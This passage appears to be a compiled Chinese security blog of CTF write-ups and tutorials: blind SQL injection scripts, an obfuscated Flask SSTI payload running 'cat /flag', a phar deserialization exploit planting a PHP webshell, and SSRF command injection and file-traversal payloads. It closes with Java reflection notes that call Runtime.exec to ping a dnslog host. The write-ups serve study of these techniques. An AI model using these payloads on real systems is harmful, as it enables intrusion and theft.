    $sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
    $result = $con->query($sql);
    echo $sql;
    }catch(Exception $e){
        echo $e->getMessage();
    }
    ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') )); 
}

第一点绕过SESSION只需要PHP_SESSION_UPLOAD_PROGRESS就完事了。注入Boo了盲注,去睡了一觉起来做的,时间不够,写出脚本时候靶机已经关闭了。贴一下脚本好了:

# coding=utf-8
import io
import requests
import threading

tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
flag = ''
sessid = 'flag'
for i in range(1,70):
    for j in tables:
        url = "http://6ac49c07-405e-454b-8b76-50c4b3adb45d.machine.dasctf.com/?url=http://localhost/se1f_Log3n.php?username=admin' password regexp binary %s-- #&password=admin"%(j)
        f = io.BytesIO(b'a' * 1024 * 50)
        session = requests.session()
        resp = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': 'x'},files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})
        if 'wrong' not in resp.text:
            flag = flag +j
            print(j)

baby_flask

看源码发现过滤了如下

blacklist</br>   
'.','[','\'','"',''\\','+',':','_',</br>   
'chr','pop','class','base','mro','init','globals','get',</br>   
'eval','exec','os','popen','open','read',</br>   
'select','url_for','get_flashed_messages','config','request',</br>   
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>    
</br>

数字被过滤了可以使用这些特殊的数字来绕过

image-20210328095013313

然后就可以使用join进行拼接构造出一些我们想要的字符

{%set a=dict(po=aa,p=aa)|join%} # pop
{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%} # _
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} # globals
{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%} # getitem
{%set e=dict(o=cc,s=aa)|join%} # os
{%set f=lipsum|string|list|attr(a)(𝟡)%} # 空格
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%} # 斜杠
{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%} # cat /flag
{%set h=(a,dict(en=aa)|join|join)|join%} # popen
{%set i=dict(re=aa,ad=aa)|join%} # read
{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%} #点
{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%} #ls /var/www/flask
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}
#最后拼接起来
#{{lipsum.__globals__['os'].popen('ls /var/www/flask').read()}}

最后的payload如下,成功执行ls /var/www/flask就可以看到flag

name={%set a=dict(po=aa,p=aa)|join%}{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%}{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%}{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%}{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}

###

一种基于运行错误的Bool型盲注原理剖析

前言

文章首发于i春秋

老规矩,我已经将靶机封装到Docker镜像中供各位观众姥爷们食用。

靶机Docker镜像:gqleung/spatial_functions_blind_inject

什么是基于运行错误的Bool型盲注

简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。

Spatial Functions

ST_GeomFromTextST_MPointFromText是两个可以从文本中解析Spatial function的函数,如果我们的语法各方面都复合mysql的规则,如果我们在解析文本中做手脚呢?MYSQL解释器不会检查一个字符串是否复合MYSQL语法要求,很明显这样我们就可以绕过MYSQL预检查,但是在运行时候又「恰逢其时」地出错,这样我们就可以进行Bool盲注了。需要注意的是ST_GeomFromText针对的是POINT()函数,ST_MPointFromText针对的是MULTIPOINT()函数的。

ST_GeomFromText为例:

例如构造如下SQL语句,很明显POINT函数传入的必须是GIS中的地理坐标的数据类型,这里写入的是一个常量或者undefined类型,但是他却能正常运行。

mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
+---------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0) |
+---------------------------------------------------+
|                                                 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)

WX20210126-011441@2x

假设我们将if的表达式改成false呢,很明显会执行中间的参数,POINT的数据类型错误会导致报错。

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

WX20210126-012024@2x

  • 注意在Mysql5.7.6以上版本 ST_X、ST_GeomFromText已经被弃用,使用ST_GeomFromText('POINT(mads)')代替即可

总结,其他可用的函数:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

我们再来看我们的靶机(Docker镜像:gqleung/tmd_sz_fsl)

经过fuzz可以发现这个靶机不论参数传递数字都是会返回同一张图,但是如果存在被ban掉的字符会返回如下图:

WX20210126-014859@2x

我们可以借此FUZZ出被ban掉的关键字:

union、*、'、"、substr、mid、=、like、into、file、sleep、benchmark、 、^、or、、、、&、>、<、#、-、ascii、ord、floor、extractvalue、updatexml、if、rp、rep、GET_LOCK、info
  • 这里过滤了空格,这里可以直接用\t来代替空格,URL编码后是%09,在写脚本时候可以使用TAB键来代替。

  • 过滤了单双引号,可以使用十六进制来代替字符串。

  • 过滤了if可以使用case when....then....else...end代替

  • 过滤了等于号、大于、小于、减号、like、我们可以使用正则表达式来判断也就是regexp

我们通过上面所讲解的ST_GeomFromText,结合上述过滤考点,构造如下payload,当然空格要用%09代替。

index.php?cat=1%09and%09IF(0,ST_X(ST_GeomFromText(0x504F494E54286D61647329)),0)

如果if表达式为false可以发现返回正常的页面:

WX20210126-020116@2x

若if表达式为true,那么将会返回运行错误的页面:

WX20210126-020240@2x

据此编写Python脚本:

#author:Gqleung
#Email:  admin@plasf.cn
#blog:   http://www.plasf.cn

import requests

def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i));
        r = r.replace('0x','')
        result = result+r
    return '0x'+result

url = "http://47.98.234.232:28076/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
for i in range(1,70):
    for j in tables:
        if j =="{" or j=="}":
            j='\\'+j
        payload = "1    and    IF((select    flag    from    flag)    regexp    binary    %s,    ST_X(ST_GeomFromText(0x504F494E54286D61647329)),    0)"%(ord2hex("^"+result+j))
        r = requests.get(url+payload);
        if 'cat' not in r.text:
            result=result+j
            print(result.replace('\\',''))
            break

运行结果:

WX20210126-021628@2x

FLOOR(X)

咱们先了解主键重复报错注入的原理

主键重复报错注入

FLOOR(X)

该函数返回X的最大整数值,但不能大于X,也就是向下取整。

例如,下列语句5.20返回的值将会是5.

select floor(5.20)

WX20201225-083818@2x

我们先来看Payload再来分析其中的原理

select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;
  • Q1为什么用floor(rand(0)*2)?

要回答这个问题,必须从floor报错注入的原理理解:

例如,user()中含有五条数据:

select rand() from user

WX20201225-093334@2x

可以发现会随机生成小于0的随机数。当然rand()*2生成0-1的随机数

WX20201225-093851@2x

加上floor就是取整。会生成0或者1的随机值:

WX20201225-094006@2x

但是为什么用rand(0)呢?

Rand()两次运行的结果,可以明显地看到rand()产生的结果是随机的。

WX20201225-094117@2x

WX20201225-094710@2x

Rand(0)两次运行的结果,可以发现两次运行的结果完全一致,说明rand(0)是伪随机的。

WX20201225-094830@2x

WX20201225-094830@2x

我们再来了解一下group by 的运作过程。

GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。

例如:如下SQL语句:

select id as "number", contents as "内容" from cat group by number

执行该sql语句会生成一个新的虚拟表,group by 即指定虚拟表中的对应字段来作为主键。

WX20210120-131144@2x

我们知道主键只能是唯一的,如果主键出现重复的情况就会发生报错,将重复的主键输出在报错信息中,我们回过头来看报错注入的Payload.

select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;

我们看到这里以x 为主键,rand(0)*2生成0-2之间的伪随机数,同时使用floor来取整,出现的只能是值为0或者1(当然前提是表所存储的记录条数要>3条才有可能重复)。使用concat将要查询的内容拼接入主键,这样在报错时会将咱们想要的内容作为报错信息输出。

例如:

WX20210120-133637@2x

注:输出字符长度限制为64个字符

我们了解完FLOOR(X)报错注入原理后开始从FLOOR(X)报错注入盲注来简述其中的道理,我们直接从payload来看:

select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);

我们知道floor(rand(0)*2)产生的随机数是伪随机数范围在0-1,如果将其参数的结果作为主键就会造成报错,假设我们用if语句来控制x是否作为主键呢?这就有可能造成不报错的情况,用此来作为报错注入盲注。通常情况与Spatial Functions报错注入盲注类似。

mysql> select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0)*2)x from cat group by if(0,x,0);
+----------+---+
| count(*) | x |
+----------+---+
|        2 | 0 |
+----------+---+
1 row in set (0.00 sec)

数据溢出型

在报错注入中数据溢出的函数同样可用如下。

mysql> select pow(2,1024);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
mysql> select cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

###

Easyphp

题目给出源码:

 <?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}
if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?> 
  • 这里存在一个变量覆盖extract($_GET['var'], EXTR_OVERWRITE);,只需覆盖$template

即可,读取任意文件,直接读取template.php,得到源码:

http://8.129.41.25:10305/?var[template][a]=template.php&tp=a
  • template.php
<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;

    public function __construct($content){
        $this->content = $content;
        $this->pattern = "/{{([a-z]+)}}/";
        $this->suffix = ".html";
    }

    public function __destruct() {
        $this->render();
    }
    public function render() {
        while (True) {
            if(preg_match($this->pattern, $this->content, $matches)!==1) 
                break;
            global ${$matches[1]};

            if(isset(${$matches[1]})) {
                $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
            } 
            else{
                break;
            }
        }
        if(strlen($this->suffix)>5) {
            echo "error suffix";
            die();
        }
        $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        file_put_contents($filename, $this->content);
        echo "Your html file is in " . $filename;
    }
}

?>

源码比较简单,在前面的源码通过file_getcontents读取到内容之后传入Template类再写入文件。由于file_getcontents的参数完全可控,我们可以远程下载文件到靶机,并且可以使用phar反序列化可以控制suffix属性,把写入文件的后缀改成PHP,导致rce.

Exp:

<?php
class Template{
 public $content;
 public $pattern;
 public $suffix;

 public function __construct($content){
  $this->content = $content;
  $this->pattern = "/{{([a-z]+)}}/";
  $this->suffix = ".php";
 }
}
    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
    $o = new Template("<?php system(\$_GET[_]);?>");
    $phar->setMetadata($o);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();
?>
  • 下载到靶机:

WX20201225-175549@2x

  • 反序列化

WX20201225-175738@2x

  • 读取flag

WX20201225-175957@2x

easyjs

源码:

/routes/index.js
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
    res.json({});
});

router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
    var u=req.query.url.replace(/[\"\']/ig,'');
    console.log(url.parse(u).href);
    let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
    console.log(log);
    child_process.exec(log);
    res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});


router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
    var urlObject=url.parse(u);
    if(blacklist.indexOf(urlObject.hostname) == -1){
        var dest=urlObject.href;
        request(dest,(err,result,body)=>{
            res.json(body);
        })
    }
    else{
        res.json([]);
    }
    }
});
module.exports = router;
  • GET 的debug路由中有一个命令执行,会将结果写入/tmp/log,但是要进入这个命令执行的分支必须通过ip黑名单的检测。`blacklist.indexOf(req.ip)!=-1。

  • 我们在来看POST的debug路由很明显是一个SSRF。这里传递一个参数url,URL经过:url.parse解码后hostname不能再黑名单中。黑名单过滤的不全我们完全可以用十进制胡总八进制的方式绕过例如:http://2130706433/http://0177.0.0.01/

  • 绕过SSRF之后我们就是要闭合单引号来执行多条命令了,这里有一个trick在@符号之前输入%27,会经过url解码变成单引号。

所以最终payload是:

url= http://2130706433:10300/debug?url=http://%2527@1;cp$IFS$9/flag$IFS$9/tmp/log;%23

WechatIMG9620

babyphp Write Up

题目是一个内网的扫描器,直接扫描内网端口看看。抓包发现提示去谷歌搜索找源码

WX20201223-192602@2x

谷歌搜到源码:

<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; 

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}


function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();

}

}
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';

if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){

$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}

/*内网代理代码*/

function getHtmlContext($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header 
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 120); 
    $result = curl_exec($ch); 
  global $header; 
  if($result){ 
       $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); 
       $header = explode("\r\n",substr($result, 0, $headerSize)); 
       $body = substr($result, $headerSize); 
  } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { 
        return $body; 
    } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location"); 
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 
    return NULL; 
} 

function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0]; 
} 
function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 

if($url != null){ 

    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}
?>

发现除了代码功能还存在SSRF。通过GET传参,可以调用getHtmlContext()获取页面源码,而getCss()能够获取页面的CSS。getHtmlContext()虽然能够通过file:\\协议读取flag,但是返回的code必须是200才有可能返回内容,如果是这里getflag的话必须要让code为200,暂时不知道有没有方法,暂时放一边。

WX20201223-194621@2x

第二个就是getCss()中的file_get_contents(),其中的参数「$cssurl」来源于getHtmlContext()读取远程页面内容中匹配到的<link>标签中的href.那么我们是否能够控制远程页面中的<link>标签中的href为flag地址,从而读取到flag呢?

WX20201223-195012@2x

但是这个正则表达式需要匹配css文件,但是这歌正则只需要含有.css这个关键字即可。

WX20201223-195239@2x

但是代码中需要含有http://否则会自动拼接一个http://host

WX20201223-195416@2x

我们知道file_get_contents这个函数在遇到不认识的协议头会造成目录穿越问题。同时strpos($v,'http://')只是字符串中是否存在http://而没有写死。我们只需要添加协议头中含有http://即可。例如:shttp://所以我们构造如下payload即可:

<link rel="stylesheet" type="text/css"  href="shttp:///../../../../../../../../../etc/password/.css/../../../../../../etc/passwd" />

将上面payload保存的自己的服务器,再提交给靶机即可直接读取到/etc/passwd

WX20201223-200254@2x

修改一下读取flag。

WX20201223-200056@2x

概念

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制

简单实例

获取类对象

package test;
import java.lang.Class.*;

public class reflection1 {
    public static void main(String[] args) throws Exception {
            Class.forName("test.xxx");
    }
}
class xxx{
    public void  xxx(){
        System.out.println("hello world");
    }
    static {
        System.out.println("test1");
    }
    {
        System.out.println("test2");
    }
}
  • forName方法获取一个类的时候会调用这个类的static静态代码。

WX20201115-134345@2x

获取类方法

获取全部方法

  • getMethod来获取函数的方法,执行invoke后通过newInstance来调用构造函数,但是{}的优先级会比构造方法高,所以运行结果会是先{}、构造方法、普通方法。
package test;
public class reflection1 {
    public static void main(String[] args) throws Exception {
        Class clazz=Class.forName("test.xxx");
        //实例化类,然后调用方法
        clazz.getMethod("hello").invoke(clazz.newInstance());
    }
}
class xxx{
    public   xxx(){
        System.out.println("test1");
    }
    public void hello(){
        System.out.println("hello");
    }
    static {
        System.out.println("test2");
    }
    {
        System.out.println("test3");
    }
}
  • 运行结果

WX20201115-143559@2x

获取无参数构造方法

  • 同样先需要获取到对应的类对象,然后通过getDeclaredConstructor方法来获取构造方法,这里有个细节如果获取的构造方法是私有(private)时候需要使用setAccessible,最后使用newInstance来创建实例。
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class reflection1 {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        Class<?> clazz = Class.forName("test.zzz");
        Constructor<?> constructor = clazz.getDeclaredConstructor();
        constructor.setAccessible(true);
        constructor.newInstance();
    }
}
class zzz{
    private zzz(){
        System.out.println("this is zzz");
    }
    private zzz(String name){
        System.out.println("this is "+name);
    }
    private zzz(int age,String name){
        System.out.println("this is "+age+":"+name);
    }
}

获取含参数构造方法

  • 同样使用getDeclaredConstructor方法来获取,但是需要指定参数数据类型。然后在newInstance传参即可。
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class reflection1 {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        Class<?> clazz = Class.forName("test.zzz");
        Constructor<?> constructor = clazz.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        constructor.newInstance("黄莉荃");
    }
}
class zzz{
    private zzz(){
        System.out.println("this is zzz");
    }
    private zzz(String name){
        System.out.println("this is "+name);
    }
    private zzz(int age,String name){
        System.out.println("this is "+age+":"+name);
    }
}
getDeclaredConstructors
  • getDeclaredConstructors将会返回所有构造方法的数组

WX20201115-153623@2x

  • 以获取索引为2的方法为例:
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class reflection1 {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        Class<?> clazz = Class.forName("test.zzz");
        Constructor<?>[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[2];
        constructor.setAccessible(true);
//      输出内容
        System.out.println(constructor);
        constructor.newInstance(18,"黄莉荃");
    }
}
class zzz{
    private zzz(){
        System.out.println("this is zzz");
    }
    private zzz(String name){
        System.out.println("this is "+name);
    }
    private zzz(int age,String name){
        System.out.println("this is "+age+":"+name);
    }
}

WX20201115-154252@2x

获取字段

  • 通过getDeclaredField来获取字段,如果是私有字段只需加上field.setAccessible(true);即可
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        //获取类
        Class clazz=Class.forName("test.test");
        //获取私有方法
        Constructor c = clazz.getDeclaredConstructor();
        //获取私有字段
        Field field = clazz.getDeclaredField("age");
        System.out.println(field.get(c.newInstance()));
    }
}

class test{
    public test(){
        System.out.println("test");
    }
    public int age=222;
}

修改字段值

  • 使用set方法即可修改
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        //获取类
        Class clazz=Class.forName("test.test");
        //获取私有方法
        Constructor c = clazz.getDeclaredConstructor();
        //获取私有字段
        Object o = c.newInstance();
        Field field = clazz.getDeclaredField("age");
        field.set(o,1111);
        System.out.println(field.get(o));
    }
}

class test{
    public test(){
        System.out.println("test");
    }
    public int age=222;
}

反射调用java.lang.Runtime

利用方法一
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor c = clazz.getDeclaredConstructor();
        c.setAccessible(true);
        clazz.getMethod("exec", String.class).invoke(c.newInstance(),"open /Users/gqleung/Desktop/aaaa.txt");
    }
}
  • 成功打开桌面的aaaa.txt

WX20201115-160241@2x

利用方法二
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        Class clazz=Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"ping y3qge8.dnslog.cn");
    }
}

WX20201115-161159@2x

接口

基本格式

[可见度] interface 接口名称 [extends 其他的接口名] {
        // 声明变量
        // 抽象方法
}

//接口类的实现
...implements 接口名称[, 其他接口名称, 其他接口名称..., ...] ...

例子

package com.xxxx.helloworld;
//import java.lang.*;

//调用接口
public class Hello {
    public static void main(String[] args) {
        Helloimplements m = new Helloimplements();
        m.sayHello("aaa");
    }
}

//定义接口
interface IHello {

    void sayHello(String name);

    void sayGoogBye(String name);

}
//定义类
class Helloimplements implements IHello {
    @Override
    public void sayHello(String name) {
        System.out.println("Hello " + name);
    }
    @Override
    public void sayGoogBye(String name) {
        System.out.println(name+" GoodBye!");
    }
}

实际用途引入

  • 假设我们需要在每次问候他人的时候做一个日志记录,这时候我们只需要在Helloimplements加一个写日志的方法即可,但是如果这个Helloimplements是在封装好的JAR里面呢,我们没法修改代码呢?

静态代理

  • 为了实现上述需求我们可以使用静态代理,创建一个新的类作为代理类,具体实现如下,虽然有点像继承,但是本质上还是有所区别,代理的是接口而非类。也就是将一个接口实例化成对象后传入代理类中,代理类相对应的(名称一致)的方法上进行调用对应方法,然后添加我们想增加的功能。这就是所谓的静态代理。
package com.xxxx.helloworld;
//import java.lang.*;


public class Hello {
    public static void main(String[] args) {
        Helloimplements m = new Helloimplements();
        StaicProxy proxy = new StaicProxy();
        proxy.setImpl(m);
        proxy.sayHello("黄莉荃");
    }
}


interface IHello {

    void sayHello(String name);

    void sayGoodBye(String name);

}

class Helloimplements implements IHello {
    @Override
    public void sayHello(String name) {
        System.out.println("Hello " + name);
    }
    @Override
    public void sayGoodBye(String name) {
        System.out.println(name+" GoodBye!");
    }
}

class StaicProxy implements IHello{
    private IHello iHello;
    public  void setImpl(IHello impl){
        this.iHello=impl;
    }
    @Override
    public void sayHello(String name) {
        System.out.println("logs:SayHello");
        iHello.sayHello(name);
    }

    @Override
    public void sayGoodBye(String name) {
        System.out.println("logs:SayGoodBye");
        iHello.sayHello(name);
    }
}

动态代理

  • 动态代理(dynamic proxy)同样需要一个代理类来代理接口,其中比较关键的是newProxyInstance这个方法来实现代理:
newProxyInstance
public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
       throws IllegalArgumentException
  • 参数:

loader: 用哪个类加载器去加载代理对象

interfaces:动态代理类需要实现的接口

h:动态代理方法在执行时,会调用h里面的invoke方法去执行

  • 实例:

    • 在代理类中使用一个bind方法来调用newProxyInstance,因为传入的是接口实例化后的对象,所以形参也是Object类型,然后我们将newProxyInstance返回的对象return.
       public Object bind(Object delegate){
            this.delegate = delegate;
            return  Proxy.newProxyInstance(
              this.delegate.getClass().getClassLoader(),this.delegate.getClass().getInterfaces(),this);
        }
InvocationHandler
  • 和前面静态代理一样我们需要定义一个代理类,这个类需要implementsInvocationHandler,我们在使用newProxyInstance返回的对象调用相应的方法时候,InvocationHandler会自动调用invoke方法。所以在代理类里面需要定义一个invoke方法。
invoke
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("记录日志");
        Object result = method.invoke(vehical, args);
        return result;
    }
  • 参数

proxy:就是代理对象,newProxyInstance方法的返回对象

method:调用的方法

args: 方法中的参数

实例
package com.xxxx.helloworld;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;



public class Hello {
    public static void main(String[] args) {
        Helloimplements m = new Helloimplements();
        DynaProxy proxy = new DynaProxy();
        IHello ihello = (IHello) proxy.bind(m);
        ihello.sayHello("黄莉荃");
    }
}


interface IHello {
    void sayHello(String name);
    void sayGoodBye(String name);
}

class Helloimplements implements IHello {
    @Override
    public void sayHello(String name) {
        System.out.println("Hello " + name);
    }
    @Override
    public void sayGoodBye(String name) {
        System.out.println(name+" GoodBye!");
    }
}
class DynaProxy implements InvocationHandler{
    private Object delegate;
    public Object bind(Object delegate){
        this.delegate = delegate;
        return  Proxy.newProxyInstance(
          this.delegate.getClass().getClassLoader(),this.delegate.getClass().getInterfaces(),this);
    }
    public Object invoke(Object proxy,Method method,Object[] args ) throws  Throwable{
        Object result =null;
        try{
            String originalName = method.getName();
            if(originalName.equals("sayHello")){
                System.out.println("logs:sayHello");
            }else if(originalName.equals("sayGoodbye")){
                System.out.println("logs:sayGoodbye");
            }

            result = method.invoke(this.delegate,args);
        }
        catch (Exception e){
            e.printStackTrace();
        }
        return result;
    }

}
分析
  • 我们在bind处进行断点,可以看到Helloimplements对象传入。并赋值给delegate

WX20201114-133749@2x

  • 跳到下一步可以看到调用了Proxy.newProxyInstance.

WX20201114-143013@2x

  • 我们断点在ihello.sayHello("黄莉荃");可以看到虽然ihello的静态类型是IHello但是实际的数据类型是$Proxy0.说明这个变量是被JVM加工过的。

